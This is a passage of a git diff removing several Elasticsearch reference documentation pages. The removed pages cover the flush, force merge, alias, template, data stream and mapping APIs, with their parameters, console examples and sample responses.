-if you request a flush
-when another flush operation is running.
-
-Defaults to `true`.
---
-
-
-[[flush-api-example]]
-==== {api-examples-title}
-
-
-[[flush-api-specific-ex]]
-===== Flush a specific data stream or index
-
-[source,console]
-----
-POST /my-index-000001/_flush
-----
-// TEST[s/^/PUT my-index-000001\n/]
-
-
-[[flush-multi-index]]
-===== Flush several data streams and indices
-
-[source,console]
-----
-POST /my-index-000001,my-index-000002/_flush
-----
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-
-[[flush-api-all-ex]]
-===== Flush all data streams and indices in a cluster
-
-[source,console]
-----
-POST /_flush
-----
diff --git a/docs/reference/indices/forcemerge.asciidoc b/docs/reference/indices/forcemerge.asciidoc
deleted file mode 100644
index 8c83e93a127..00000000000
--- a/docs/reference/indices/forcemerge.asciidoc
+++ /dev/null
@@ -1,185 +0,0 @@
-[[indices-forcemerge]]
-=== Force merge API
-++++
-<titleabbrev>Force merge</titleabbrev>
-++++
-
-Forces a <<index-modules-merge,merge>> on the shards of one or more indices.
-For data streams, the API forces a merge on the shards of the stream's backing
-indices.
-
-[source,console]
-----
-POST /my-index-000001/_forcemerge
-----
-// TEST[setup:my_index]
-
-
-[[forcemerge-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_forcemerge`
-
-`POST /_forcemerge`
-
-
-[[forcemerge-api-desc]]
-==== {api-description-title}
-
-Use the force merge API to force a <<index-modules-merge,merge>> on the
-shards of one or more indices. Merging reduces the number of segments in each
-shard by merging some of them together, and also frees up the space used by
-deleted documents. Merging normally happens automatically, but sometimes it is
-useful to trigger a merge manually.
-
-WARNING: **Force merge should only be called against an index after you have
-finished writing to it.** Force merge can cause very large (>5GB) segments to
-be produced, and if you continue to write to such an index then the automatic
-merge policy will never consider these segments for future merges until they
-mostly consist of deleted documents. This can cause very large segments to
-remain in the index which can result in increased disk usage and worse search
-performance.
-
-
-[[forcemerge-blocks]]
-===== Blocks during a force merge
-
-Calls to this API block until the merge is complete. If the client connection
-is lost before completion then the force merge process will continue in the
-background. Any new requests to force merge the same indices will also block
-until the ongoing force merge is complete.
-
-
-[[forcemerge-multi-index]]
-===== Force merging multiple indices
-
-You can force merge multiple indices with a single request by targeting:
-
-* One or more data streams that contain multiple backing indices
-* Multiple indices
-* One or more index aliases that point to multiple indices
-* All data streams and indices in a cluster
-
-Multi-index operations are executed one shard at a
-time per node. Force merge makes the storage for the shard being merged
-temporarily increase, up to double its size in case `max_num_segments` parameter
-is set to `1`, as all segments need to be rewritten into a new one.
-
-
-[[forcemerge-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[forcemerge-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`flush`::
-(Optional, Boolean)
-If `true`,
-{es} performs a <<indices-flush,flush>> on the indices
-after the force merge.
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`max_num_segments`::
-+
---
-(Optional, integer)
-The number of segments to merge to.
-To fully merge indices,
-set it to `1`.
-
-Defaults to checking if a merge needs to execute.
-If so, executes it.
---
-
-`only_expunge_deletes`::
-+
---
-(Optional, Boolean)
-If `true`,
-only expunge segments containing document deletions.
-Defaults to `false`.
-
-In Lucene,
-a document is not deleted from a segment;
-just marked as deleted.
-During a merge,
-a new segment is created
-that does not contain those document deletions.
-
-NOTE: This parameter does *not* override the
-`index.merge.policy.expunge_deletes_allowed` setting.
---
-
-
-[[forcemerge-api-example]]
-==== {api-examples-title}
-
-
-[[forcemerge-api-specific-ex]]
-===== Force merge a specific data stream or index
-
-[source,console]
-----
-POST /my-index-000001/_forcemerge
-----
-// TEST[continued]
-
-
-[[forcemerge-api-multiple-ex]]
-===== Force merge several data streams or indices
-
-[source,console]
-----
-POST /my-index-000001,my-index-000002/_forcemerge
-----
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-
-[[forcemerge-api-all-ex]]
-===== Force merge all indices
-
-[source,console]
-----
-POST /_forcemerge
-----
-
-
-[[forcemerge-api-time-based-index-ex]]
-===== Data streams and time-based indices
-
-Force-merging is useful for managing a data stream's older backing indices and
-other time-based indices, particularly after a
-<<indices-rollover-index,rollover>>.
-In these cases,
-each index only receives indexing traffic for a certain period of time.
-Once an index receive no more writes,
-its shards can be force-merged to a single segment.
-
-[source,console]
---------------------------------------------------
-POST /.ds-logs-000001/_forcemerge?max_num_segments=1
---------------------------------------------------
-// TEST[setup:my_index]
-// TEST[s/.ds-logs-000001/my-index-000001/]
-
-This can be a good idea because single-segment shards can sometimes use simpler
-and more efficient data structures to perform searches.
diff --git a/docs/reference/indices/get-alias.asciidoc b/docs/reference/indices/get-alias.asciidoc
deleted file mode 100644
index d9b6ee31f27..00000000000
--- a/docs/reference/indices/get-alias.asciidoc
+++ /dev/null
@@ -1,183 +0,0 @@
-[[indices-get-alias]]
-=== Get index alias API
-++++
-<titleabbrev>Get index alias</titleabbrev>
-++++
-
-Returns information about one or more index aliases.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc]
-
-[source,console]
-----
-GET /my-index-000001/_alias/alias1
-----
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000001\/_alias\/alias1\n/]
-
-
-[[get-alias-api-request]]
-==== {api-request-title}
-
-`GET /_alias`
-
-`GET /_alias/<alias>`
-
-`GET /<index>/_alias/<alias>`
-
-
-[[get-alias-api-path-params]]
-==== {api-path-parms-title}
-
-`<alias>`::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias]
-+
-To retrieve information for all index aliases,
-use a value of `_all` or `*`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-
-
-[[get-alias-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `all`.
-
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, requests that include a missing index in the `<index>` argument
-return an error. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-
-[[get-alias-api-example]]
-==== {api-examples-title}
-
-[[get-alias-api-all-ex]]
-===== Get all aliases for an index
-
-You can add index aliases during index creation
-using a <<indices-create-index,create index API>> request.
-
-The following create index API request creates the `logs_20302801` index
-with two aliases:
-
-* `current_day`
-* `2030`, which only returns documents
-in the `logs_20302801` index
-with a `year` field value of `2030`
-
-[source,console]
---------------------------------------------------
-PUT /logs_20302801
-{
-  "aliases" : {
-    "current_day" : {},
-    "2030" : {
-      "filter" : {
-          "term" : {"year" : 2030 }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The following get index alias API request returns all aliases
-for the index `logs_20302801`:
-
-[source,console]
---------------------------------------------------
-GET /logs_20302801/_alias/*
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
- "logs_20302801" : {
-   "aliases" : {
-    "current_day" : {
-    },
-     "2030" : {
-       "filter" : {
-         "term" : {
-           "year" : 2030
-         }
-       }
-     }
-   }
- }
-}
---------------------------------------------------
-
-
-[[get-alias-api-named-ex]]
-===== Get a specific alias
-
-The following index alias API request returns the `2030` alias:
-
-[source,console]
---------------------------------------------------
-GET /_alias/2030
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "logs_20302801" : {
-    "aliases" : {
-      "2030" : {
-        "filter" : {
-          "term" : {
-            "year" : 2030
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[get-alias-api-wildcard-ex]]
-===== Get aliases based on a wildcard
-
-The following index alias API request returns any alias that begin with `20`:
-
-[source,console]
---------------------------------------------------
-GET /_alias/20*
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "logs_20302801" : {
-    "aliases" : {
-      "2030" : {
-        "filter" : {
-          "term" : {
-            "year" : 2030
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/indices/get-component-template.asciidoc b/docs/reference/indices/get-component-template.asciidoc
deleted file mode 100644
index 52eca0b0ab8..00000000000
--- a/docs/reference/indices/get-component-template.asciidoc
+++ /dev/null
@@ -1,88 +0,0 @@
-[[getting-component-templates]] 
-=== Get component template API
-++++
-<titleabbrev>Get component template</titleabbrev>
-++++
-
-Retrieves information about one or more component templates.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/template_1 
-{
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 0
-    },
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_component_template/template_*
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_component_template/template_1
---------------------------------------------------
-
-[[get-component-template-api-request]]
-==== {api-request-title}
-
-`GET /_component-template/<component-template>`
-
-
-[[get-component-template-api-path-params]]
-==== {api-path-parms-title}
-
-`<component-template>`
-(Optional, string)
-Comma-separated list of component template names used to limit the request.
-Wildcard (`*`) expressions are supported.
-
-
-[[get-component-template-api-query-params]]
-==== {api-query-parms-title}
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-component-template-api-example]]
-==== {api-examples-title}
-
-
-[[get-component-template-api-wildcard-ex]]
-===== Get component templates using a wildcard expression
-
-[source,console]
---------------------------------------------------
-GET /_component_template/temp*
---------------------------------------------------
-
-
-[[get-component-template-api-all-ex]]
-===== Get all component templates
-
-[source,console]
---------------------------------------------------
-GET /_component_template
---------------------------------------------------
diff --git a/docs/reference/indices/get-data-stream.asciidoc b/docs/reference/indices/get-data-stream.asciidoc
deleted file mode 100644
index 3b8e484d697..00000000000
--- a/docs/reference/indices/get-data-stream.asciidoc
+++ /dev/null
@@ -1,243 +0,0 @@
-[role="xpack"]
-[[indices-get-data-stream]]
-=== Get data stream API
-++++
-<titleabbrev>Get data stream</titleabbrev>
-++++
-
-Retrieves information about one or more <<data-streams,data streams>>.
-See <<get-info-about-a-data-stream>>.
-
-////
-[source,console]
-----
-PUT /_ilm/policy/my-lifecycle-policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover": {
-            "max_size": "25GB"
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT /_index_template/my-index-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": {},
-  "template": {
-    "settings": {
-      "index.lifecycle.name": "my-lifecycle-policy"
-    }
-  }
-}
-
-PUT /_data_stream/my-data-stream
-
-POST /my-data-stream/_rollover
-
-PUT /_data_stream/my-data-stream_two
-----
-// TESTSETUP
-////
-
-////
-[source,console]
-----
-DELETE /_data_stream/*
-DELETE /_index_template/*
-DELETE /_ilm/policy/my-lifecycle-policy
-----
-// TEARDOWN
-////
-
-[source,console]
-----
-GET /_data_stream/my-data-stream
-----
-
-[[get-data-stream-api-request]]
-==== {api-request-title}
-
-`GET /_data_stream/<data-stream>`
-
-[[get-data-stream-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`view_index_metadata` or `manage` <<privileges-list-indices,index privilege>>
-for the data stream.
-
-[[get-data-stream-api-path-params]]
-==== {api-path-parms-title}
-
-`<data-stream>`::
-(Optional, string)
-Comma-separated list of data stream names used to limit the request. Wildcard
-(`*`) expressions are supported. If omitted, all data streams will be
-returned.
-
-[role="child_attributes"]
-[[get-data-stream-api-response-body]]
-==== {api-response-body-title}
-
-`data_streams`::
-(array of objects)
-Contains information about retrieved data streams.
-+
-.Properties of objects in `data_streams`
-[%collapsible%open]
-====
-`name`::
-(string)
-Name of the data stream.
-
-`timestamp_field`::
-(object)
-Contains information about the data stream's `@timestamp` field.
-+
-.Properties of `timestamp_field`
-[%collapsible%open]
-=====
-`name`::
-(string)
-Name of the data stream's timestamp field, which must be `@timestamp`. The
-`@timestamp` field must be included in every document indexed to the data
-stream.
-=====
-
-`indices`::
-(array of objects)
-Array of objects containing information about the data stream's backing
-indices.
-+
-The last item in this array contains information about the stream's current
-<<data-stream-write-index,write index>>.
-+
-.Properties of `indices` objects
-[%collapsible%open]
-=====
-`index_name`::
-(string)
-Name of the backing index. For naming conventions, see
-<<data-streams-generation>>.
-
-`index_uuid`::
-(string)
-Universally unique identifier (UUID) for the index.
-=====
-
-`generation`::
-(integer)
-Current <<data-streams-generation,generation>> for the data stream. This number
-acts as a cumulative count of the stream's rollovers, starting at `1`.
-
-`status`::
-(string)
-<<cluster-health,Health status>> of the data stream.
-+
-This health status is based on the state of the primary and replica shards of
-the stream's backing indices.
-+
-.Values for `status`
-[%collapsible%open]
-=====
-`green`:::
-All shards are assigned.
-
-`yellow`:::
-All primary shards are assigned, but one or more replica shards are
-unassigned.
-
-`red`:::
-One or more primary shards are unassigned, so some data is unavailable.
-=====
-
-`template`::
-(string)
-Name of the index template used to create the data stream's backing indices.
-+
-The template's index pattern must match the name of this data stream. See
-<<create-a-data-stream-template>>.
-
-`ilm_policy`::
-(string)
-Name of the current {ilm-init} lifecycle policy in the stream's matching index
-template. This lifecycle policy is set in the `index.lifecycle.name` setting.
-+
-If the template does not include a lifecycle policy, this property is not
-included in the response.
-+
-NOTE: A data stream's backing indices may be assigned different lifecycle
-policies. To retrieve the lifecycle policy for individual backing indices,
-use the <<indices-get-settings,get index settings API>>.
-====
-
-[[get-data-stream-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET _data_stream/my-data-stream*
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "data_streams": [
-    {
-      "name": "my-data-stream",
-      "timestamp_field": {
-        "name": "@timestamp"
-      },
-      "indices": [
-        {
-          "index_name": ".ds-my-data-stream-000001",
-          "index_uuid": "xCEhwsp8Tey0-FLNFYVwSg"
-        },
-        {
-          "index_name": ".ds-my-data-stream-000002",
-          "index_uuid": "PA_JquKGSiKcAKBA8DJ5gw"
-        }
-      ],
-      "generation": 2,
-      "status": "GREEN",
-      "template": "my-index-template",
-      "ilm_policy": "my-lifecycle-policy"
-    },
-    {
-      "name": "my-data-stream_two",
-      "timestamp_field": {
-        "name": "@timestamp"
-      },
-      "indices": [
-        {
-          "index_name": ".ds-my-data-stream_two-000001",
-          "index_uuid": "3liBu2SYS5axasRt6fUIpA"
-        }
-      ],
-      "generation": 1,
-      "status": "YELLOW",
-      "template": "my-index-template",
-      "ilm_policy": "my-lifecycle-policy"
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"index_uuid": "xCEhwsp8Tey0-FLNFYVwSg"/"index_uuid": $body.data_streams.0.indices.0.index_uuid/]
-// TESTRESPONSE[s/"index_uuid": "PA_JquKGSiKcAKBA8DJ5gw"/"index_uuid": $body.data_streams.0.indices.1.index_uuid/]
-// TESTRESPONSE[s/"index_uuid": "3liBu2SYS5axasRt6fUIpA"/"index_uuid": $body.data_streams.1.indices.0.index_uuid/]
-// TESTRESPONSE[s/"status": "GREEN"/"status": "YELLOW"/]
diff --git a/docs/reference/indices/get-field-mapping.asciidoc b/docs/reference/indices/get-field-mapping.asciidoc
deleted file mode 100644
index 1e40c6981f0..00000000000
--- a/docs/reference/indices/get-field-mapping.asciidoc
+++ /dev/null
@@ -1,252 +0,0 @@
-[[indices-get-field-mapping]]
-=== Get field mapping API
-++++
-<titleabbrev>Get field mapping</titleabbrev>
-++++
-
-Retrieves <<mapping,mapping definitions>> for one or more fields. For data
-streams, the API retrieves field mappings for the stream's backing indices.
-
-This API is useful if you don't need a <<indices-get-mapping,complete mapping>>
-or if an index mapping contains a large number of fields.
-
-[source,console]
-----
-GET /my-index-000001/_mapping/field/user
-----
-// TEST[setup:my_index]
-
-
-[[get-field-mapping-api-request]]
-==== {api-request-title}
-
-`GET /_mapping/field/<field>`
-
-`GET /<target>/_mapping/field/<field>`
-
-
-[[get-field-mapping-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard (`*`) expressions are supported.
-+
-To target all indices in a cluster, omit this parameter or use `_all` or `*`.
-
-`<field>`::
-(Optional, string) Comma-separated list or wildcard expression of fields used to
-limit returned information.
-
-
-[[get-field-mapping-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`include_defaults`::
-(Optional, Boolean) If `true`, the response includes default mapping values.
-Defaults to `false`.
-
-`local`::
-deprecated:[7.8.0, This parameter is a no-op and field mappings are always retrieved locally]
-(Optional, boolean) If `true`, the request retrieves information from the local
-node only. Defaults to `false`, which means information is retrieved from
-the master node.
-
-
-[[get-field-mapping-api-example]]
-==== {api-examples-title}
-
-[[get-field-mapping-api-basic-ex]]
-===== Example with index setup
-
-You can provide field mappings when creating a new index. The following
-<<indices-create-index, create index>> API request creates the `publications`
-index with several field mappings.
-
-[source,console]
---------------------------------------------------
-PUT /publications
-{
-  "mappings": {
-    "properties": {
-      "id": { "type": "text" },
-      "title": { "type": "text" },
-      "abstract": { "type": "text" },
-      "author": {
-        "properties": {
-          "id": { "type": "text" },
-          "name": { "type": "text" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The following returns the mapping of the field `title` only:
-
-[source,console]
---------------------------------------------------
-GET publications/_mapping/field/title
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "publications": {
-      "mappings": {
-          "title": {
-             "full_name": "title",
-             "mapping": {
-                "title": {
-                   "type": "text"
-                }
-             }
-          }
-       }
-   }
-}
---------------------------------------------------
-
-[[get-field-mapping-api-specific-fields-ex]]
-===== Specifying fields
-
-The get mapping API allows you to specify a comma-separated list of fields.
-
-For instance to select the `id` of the `author` field, you must use its full name `author.id`.
-
-[source,console]
---------------------------------------------------
-GET publications/_mapping/field/author.id,abstract,name
---------------------------------------------------
-// TEST[continued]
-
-returns:
-
-[source,console-result]
---------------------------------------------------
-{
-   "publications": {
-      "mappings": {
-        "author.id": {
-           "full_name": "author.id",
-           "mapping": {
-              "id": {
-                 "type": "text"
-              }
-           }
-        },
-        "abstract": {
-           "full_name": "abstract",
-           "mapping": {
-              "abstract": {
-                 "type": "text"
-              }
-           }
-        }
-     }
-   }
-}
---------------------------------------------------
-
-The get field mapping API also supports wildcard notation.
-
-[source,console]
---------------------------------------------------
-GET publications/_mapping/field/a*
---------------------------------------------------
-// TEST[continued]
-
-returns:
-
-[source,console-result]
---------------------------------------------------
-{
-   "publications": {
-      "mappings": {
-         "author.name": {
-            "full_name": "author.name",
-            "mapping": {
-               "name": {
-                 "type": "text"
-               }
-            }
-         },
-         "abstract": {
-            "full_name": "abstract",
-            "mapping": {
-               "abstract": {
-                  "type": "text"
-               }
-            }
-         },
-         "author.id": {
-            "full_name": "author.id",
-            "mapping": {
-               "id": {
-                  "type": "text"
-               }
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-
-[[get-field-mapping-api-multi-index-ex]]
-===== Multiple targets and fields
-
-The get field mapping API can be used to get mappings for multiple fields from
-multiple data streams or indices with a single request.
-
-The `<target>` and `<field>` request path parameters both support
-comma-separated lists and wildcard expressions.
-
-You can omit the `<target>` parameter or use a value of `*` or `_all` to target
-all data streams and indices in a cluster.
-
-Similarly, you can omit the `<field>` parameter or use a value of `*` to
-retrieve mappings for all fields in the targeted data streams or indices.
-However, the `<field>` parameter does not support the `_all` value.
-
-For example, the following request retrieves mappings for the `message` field in
-any data stream or index named `my-index-000001` or `my-index-000002`.
-
-[source,console]
-----
-GET /my-index-000001,my-index-000002/_mapping/field/message
-----
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000002\n/]
-
-The following request retrieves mappings for the `message` and `user.id` fields
-in any data stream or index in the cluster.
-
-[source,console]
-----
-GET /_all/_mapping/field/message
-----
-// TEST[setup:my_index]
-
-The following request retrieves mappings for fields with an `id` property in any
-data stream or index in the cluster.
-
-[source,console]
-----
-GET /_all/_mapping/field/*.id
-----
-// TEST[setup:my_index]
diff --git a/docs/reference/indices/get-index-template-v1.asciidoc b/docs/reference/indices/get-index-template-v1.asciidoc
deleted file mode 100644
index 7b6d30bee89..00000000000
--- a/docs/reference/indices/get-index-template-v1.asciidoc
+++ /dev/null
@@ -1,93 +0,0 @@
-[[indices-get-template-v1]]
-=== Get index template API
-++++
-<titleabbrev>Get index template (legacy)</titleabbrev>
-++++
-
-IMPORTANT: This documentation is about legacy index templates, 
-which are deprecated and will be replaced by the composable templates introduced in {es} 7.8. 
-For information about composable templates, see <<index-templates>>.
-
-Retrieves information about one or more index templates.
-
-////
-[source,console]
---------------------------------------------------
-PUT _template/template_1
-{
- "index_patterns" : ["te*"],
-  "settings": {
-    "number_of_shards": 1
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE _template/template_1
---------------------------------------------------
-// TEARDOWN
-
-////
-
-[source,console]
---------------------------------------------------
-GET /_template/template_1
---------------------------------------------------
-
-
-[[get-template-v1-api-request]]
-==== {api-request-title}
-
-`GET /_template/<index-template>`
-
-
-[[get-template-v1-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-template]
-+
-To return all index templates, omit this parameter
-or use a value of `_all` or `*`.
-
-
-[[get-template-v1-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-template-v1-api-example]]
-==== {api-examples-title}
-
-
-[[get-template-v1-api-multiple-ex]]
-===== Get multiple index templates
-
-[source,console]
---------------------------------------------------
-GET /_template/template_1,template_2
---------------------------------------------------
-
-
-[[get-template-v1-api-wildcard-ex]]
-===== Get index templates using a wildcard expression
-
-[source,console]
---------------------------------------------------
-GET /_template/temp*
---------------------------------------------------
-
-
-[[get-template-v1-api-all-ex]]
-===== Get all index templates
-
-[source,console]
---------------------------------------------------
-GET /_template
---------------------------------------------------
diff --git a/docs/reference/indices/get-index-template.asciidoc b/docs/reference/indices/get-index-template.asciidoc
deleted file mode 100644
index f38d237c38e..00000000000
--- a/docs/reference/indices/get-index-template.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[indices-get-template]]
-=== Get index template API [[getting-templates]]
-++++
-<titleabbrev>Get index template</titleabbrev>
-++++
-
-Returns information about one or more index templates.
-
-////
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns" : ["te*"],
-  "priority" : 1,
-  "template": {
-    "settings" : {
-      "number_of_shards" : 2
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/template_*
---------------------------------------------------
-// TEARDOWN
-
-////
-
-[source,console]
---------------------------------------------------
-GET /_index_template/template_1
---------------------------------------------------
-
-[[get-template-api-request]]
-==== {api-request-title}
-
-`GET /_index_template/<index-template>`
-
-
-[[get-template-api-path-params]]
-==== {api-path-parms-title}
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=index-template]
-+
-To retrieve all index templates, omit this parameter or use a value of `*`.
-
-
-[[get-template-api-query-params]]
-==== {api-query-parms-title}
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{docdir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-template-api-example]]
-==== {api-examples-title}
-
-
-[[get-template-api-wildcard-ex]]
-===== Get index templates using a wildcard expression
-
-[source,console]
---------------------------------------------------
-GET /_index_template/temp*
---------------------------------------------------
-
-
-[[get-template-api-all-ex]]
-===== Get all index templates
-
-[source,console]
---------------------------------------------------
-GET /_index_template
---------------------------------------------------
diff --git a/docs/reference/indices/get-index.asciidoc b/docs/reference/indices/get-index.asciidoc
deleted file mode 100644
index b0f4dcbde41..00000000000
--- a/docs/reference/indices/get-index.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[indices-get-index]]
-=== Get index API
-++++
-<titleabbrev>Get index</titleabbrev>
-++++
-
-Returns information about one or more indices. For data streams, the API
-returns information about the stream's backing indices.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001
---------------------------------------------------
-// TEST[setup:my_index]
-
-NOTE: Before 7.0.0, the 'mappings' definition used to include a type name. Although mappings
-in responses no longer contain a type name by default, you can still request the old format
-through the parameter include_type_name. For more details, please see <<removal-of-types>>.
-
-
-[[get-index-api-request]]
-==== {api-request-title}
-
-`GET /<target>`
-
-
-[[get-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[get-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-defaults]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, requests that target a missing index return an error. Defaults to
-`false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
diff --git a/docs/reference/indices/get-mapping.asciidoc b/docs/reference/indices/get-mapping.asciidoc
deleted file mode 100644
index a68b7edd5ed..00000000000
--- a/docs/reference/indices/get-mapping.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-[[indices-get-mapping]]
-=== Get mapping API
-++++
-<titleabbrev>Get mapping</titleabbrev>
-++++
-
-Retrieves <<mapping,mapping definitions>> for one or more indices. For data
-streams, the API retrieves mappings for the stream's backing indices.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_mapping
---------------------------------------------------
-// TEST[setup:my_index]
-
-NOTE: Before 7.0.0, the 'mappings' definition used to include a type name. Although mappings
-in responses no longer contain a type name by default, you can still request the old format
-through the parameter `include_type_name`. For more details, please see <<removal-of-types>>.
-
-
-[[get-mapping-api-request]]
-==== {api-request-title}
-
-`GET /_mapping`
-
-`GET /<target>/_mapping`
-
-
-[[get-mapping-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[get-mapping-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-mapping-api-example]]
-==== {api-examples-title}
-
-[[get-mapping-api-multi-ex]]
-===== Multiple data streams and indices
-
-The get mapping API can be used to get more than one data stream or index with a
-single call. General usage of the API follows the following syntax:
-`host:port/<target>/_mapping` where `<target>` can accept a comma-separated
-list of names. To get mappings for all data streams and indices in a cluster, use `_all` or `*` for `<target>`
-or omit the `<target>` parameter.
-The following are some examples:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001,my-index-000002/_mapping
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-If you want to get mappings of all indices in a cluster, the following
-examples are equivalent:
-
-[source,console]
---------------------------------------------------
-GET /*/_mapping
-
-GET /_all/_mapping
-
-GET /_mapping
---------------------------------------------------
-// TEST[setup:my_index]
